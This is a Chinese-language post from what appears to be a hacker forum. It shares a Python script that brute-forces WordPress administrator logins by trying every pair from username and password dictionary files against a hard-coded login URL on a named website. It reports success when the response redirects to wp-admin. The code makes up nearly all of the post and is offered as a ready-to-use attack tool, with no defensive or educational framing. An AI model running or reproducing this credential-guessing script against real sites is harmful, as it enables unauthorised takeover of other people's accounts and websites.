[Python] 密码破解

2047 0
yang28852 2023-6-24 19:17:32 | 显示全部楼层 |阅读模式
本帖最后由 yang28852 于 2023-6-24 19:22 编辑

l利用python做一个破解 WordPress 管理员账户的密码的脚本,代码使用了一个循环,将字典中的每个用户名和密码组合作为POST请求参数发送到指定的登录页面。如果页面跳转到了wp-admin后台页面,那么说明该组合是有效的,即该用户名和密码是正确的
  1. import urllib3
  2. import urllib.parse

  3. http = urllib3.PoolManager(headers={'Content-Type': 'application/x-www-form-urlencoded'})

  4. url = "http://www.ikunct1.top/admin/login.php"

  5. users = []      # 初始化存储用户名的列表
  6. passwords = []  # 初始化存储密码的列表

  7. # 从文件中读取所有用户名和密码
  8. with open('用户字典', 'r') as userlist:
  9.     users = userlist.readlines()
  10. with open('密码字典', 'r') as passwordlist:
  11.     passwords = passwordlist.readlines()

  12. # 循环处理用户名和密码组合
  13. for user in users:
  14.     user = user.strip()
  15.     for password in passwords:
  16.         password = password.strip()

  17.         values = {'log': user, 'pwd': password}

  18.         # 输出正在尝试的用户名和密码组合
  19.         print(f"Trying user={user}, password={password}")

  20.         encoded_values = urllib.parse.urlencode(values).encode('utf-8')
  21.         response = http.request('POST', url, body=encoded_values)

  22.         try:
  23.             idx = response.geturl().index('wp-admin')
  24.         except ValueError:
  25.             idx = -1

  26.         # 输出是否找到正确的用户名和密码
  27.         if (idx >= 0):
  28.             print(f"Found username: {user}, password: {password}")
  29.             break
  30.         else:
  31.             print(f"Failed username: {user}, password: {password}")

  32.     if (idx >= 0):
  33.         break
复制代码
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

yang28852

初入联盟

关注
  • 3
    主题
  • 0
    粉丝
  • 0
    关注
这家伙很懒,什么都没留下!

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行